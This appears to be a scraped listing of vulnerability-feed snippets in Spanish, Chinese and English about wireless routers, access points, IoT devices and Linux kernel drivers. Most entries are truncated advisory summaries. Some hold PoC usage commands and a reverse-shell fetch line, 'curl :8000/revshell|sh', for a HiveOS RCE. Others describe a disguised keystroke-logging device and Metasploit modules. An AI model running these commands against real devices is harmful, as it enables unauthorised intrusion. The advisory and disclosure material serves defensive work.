HPE-Aruba-AOS8-Vulnerabilities

⚠️ Estado de divulgación: Todos los hallazgos de este repositorio fueron enviados al Programa de Bug Bounty de Redes de HPE Bugcrowd entre mayo y junio de 2026. Cinco de seis envíos fueron cerrados como "No aplica" en el nivel de triaje sin reconciliación técnica de las pruebas presentadas. No se...

CVE-2021-46422

CVE-2021-46422 SDT-CW3B1韩国的无线路由器 os cmd 注入PoC 安装 root@kitploit: git clone https://github.com/ZAxyr/CVE-2021-46422.git cd CVE-2021-46422 pip3 install -r requirements.txt 使用 单个url pocsuite -r pocs/CVE-2021-46422.py -u IP 批量URL pocsuite -r pocs/CVE-2021-46422.py -f xxx.txt root@kitploit: 免责声明🧐...

CVE-2023-35803

CVE-2023-35804 - RCE no autenticado en puntos de acceso inalámbricos Extreme Networks/Aerohive PoC para puntos de acceso basados en ARM que ejecutan HiveOS/IQ Engine "curl :8000/revshell|sh" Writeup aquí: https://research.aurainfosec.io/pentest/bee-yond-capacity/...

wyze-bulb-color-pwned

wyze-bulb-color-pwned Wireless exploit for the Wyze WLPA19CV2 color bulb Overview The Wyze Color WLPA19CV2 bulbs have a factory test mode which allows a custom OTA image to be flashed wirelessly through a specific sequence of power cycling. This project provides An implementation and guide to...

CVE-2021-46422

CVE-2021-46422 Inyección de comandos del sistema operativo en routers de Corea Instalación root@kitploit: git clone https://github.com/kelemaoya/CVE-2021-46422.git cd CVE-2021-46422 pip3 install -r requirements.txt Uso URL única pocsuite -r ../CVE-2021-46422.py -u url --verify URLs en lote pocsui...

keysweeper

KEYSWEEPER // SIGINT // SAMY.PL // REL TO ALL // APPLIED HACKING KeySweeper KeySweeper es un dispositivo sigiloso basado en Arduino, camuflado como un cargador USB de pared funcional, que intercepta, descifra, registra y reporta a través de GSM de forma inalámbrica y pasiva todas las pulsaciones ...

The vulnerability in the main() function of the /HNAP1/dllog.cgi file of the CGI Binary component of the D-Link DIR-882 wireless router software allows a attacker to disclose protected information.

The vulnerability in the main function of the /HNAP1/dllog.cgi file of the CGI Binary component of the D-Link DIR-882 wireless router software is related to insufficient protection for sensitive data. Exploiting this vulnerability could allow an attacker to disclose confidential information...

CVE-2026-0073-Android-client-TLS-auth-bypass

CVE‑2026‑0073 es un error lógico en el demonio ADB de Android adbd que permite a un atacante eludir la autenticación mutua TLS y abrir un shell remoto en un dispositivo que tenga la depuración inalámbrica habilitada y que se haya emparejado con cualquier ordenador al menos una vez. La causa raíz ...

CVE-2025-57428

⚠️ Este repositorio se mantiene solo como referencia para CVE-2025-57428. Para otros avisos y actualizaciones, consulte: security-advisories. CVE-2025-57428 - Interfaz de depuración Telnet habilitada por defecto permite acceso de bajo nivel a flash/registros Producto afectado Proveedor/Marca: Each...

CVE-2023-40459

CVE-2023-40459 CVE-2023-40459 未认证的拒绝服务（DoS）PoC利用程序。 该漏洞影响 Sierra Wireless 产品 ALEOS 4.16 及更早版本的 ACEManager 组件。 用法 python3 PoC-CVE-2023-40459.py Address: http://target Port: 9091 参考 NVD 文章 Double Take Zero Day...

CVE-2016-5640

CVE-2016-5640 Módulo Metasploit para Crestron AirMedia AM-100 RCE CVE-2016-5640 Módulo para explotar una vulnerabilidad de inyección remota de comandos en la página de diagnóstico inalámbrico de dispositivos Crestron AirMedia AM-100 con versión de firmware 1.4.0.13. Los comandos se ejecutan como ...

CVE-2023-31852

CVE-2023-31852 Cudy LT400 基于 Web 的管理界面存在反射型跨站脚本（XSS）攻击。 页面 /cgi-bin/luci/admin/network/wireless/config 通过 iface 参数存在反射型 XSS。 利用方法包括向受害者发送包含恶意代码的特制请求。 受影响的应用程序未设置 Session Cookie 的 HttpOnly 属性；这可能导致通过会话令牌窃取实现管理员接管。 PoC root@kitploit: GET...

LuCI_RCE_exp

EXP de CVE-2019-12272 CVE-2019-12272 es una vulnerabilidad de LuCI para ejecutar código bash arbitrario. Detalles https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20190710-lucirce.html Uso python .\cve-2019-12272bandwidthstatus.py -a 192.168.153.4 -u root -p root -c ls python...

EUVD-2026-83053

CM2507 IP cameras store configured wireless network credentials in cleartext within the device filesystem. An attacker who obtains filesystem access through physical access, a debugging interface, or another vulnerability could recover the configured network identifier and pre-shared key...

Linux Distros Unpatched Vulnerability : CVE-2026-93124

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - In the Linux kernel, the following vulnerability has been resolved: platform/x86: asus-wireless: Fail probe when there is no ACPI match Every platform driver ca...

CVE-2026-81321: Cleartext Storage of Sensitive Information

CM2507 IP cameras store configured wireless network credentials in cleartext within the device filesystem. An attacker who obtains filesystem access through physical access, a debugging interface, or another vulnerability could recover the configured network identifier and pre-shared key...

ROS-20260918-73-0121

The vulnerability of the rsimac80211attach function in the drivers/net/wireless/rsi/rsi91xmac80211.c driver for wireless communication adapters in the Linux kernel is related to the occurrence of operations outside the buffer in memory. Exploiting this vulnerability could allow an attacker to...

DEBIAN-CVE-2026-93124

In the Linux kernel, the following vulnerability has been resolved: platform/x86: asus-wireless: Fail probe when there is no ACPI match Every platform driver can be forced to match a device that does not match its list of device IDs because of devicematchdriveroverride, so platform drivers that...

CVE-2026-93124

In the Linux kernel, the following vulnerability has been resolved: platform/x86: asus-wireless: Fail probe when there is no ACPI match Every platform driver can be forced to match a device that does not match its list of device IDs because of devicematchdriveroverride, so platform drivers that...

CVE-2026-93124 platform/x86: asus-wireless: Fail probe when there is no ACPI match

In the Linux kernel, the following vulnerability has been resolved: platform/x86: asus-wireless: Fail probe when there is no ACPI match Every platform driver can be forced to match a device that does not match its list of device IDs because of devicematchdriveroverride, so platform drivers that...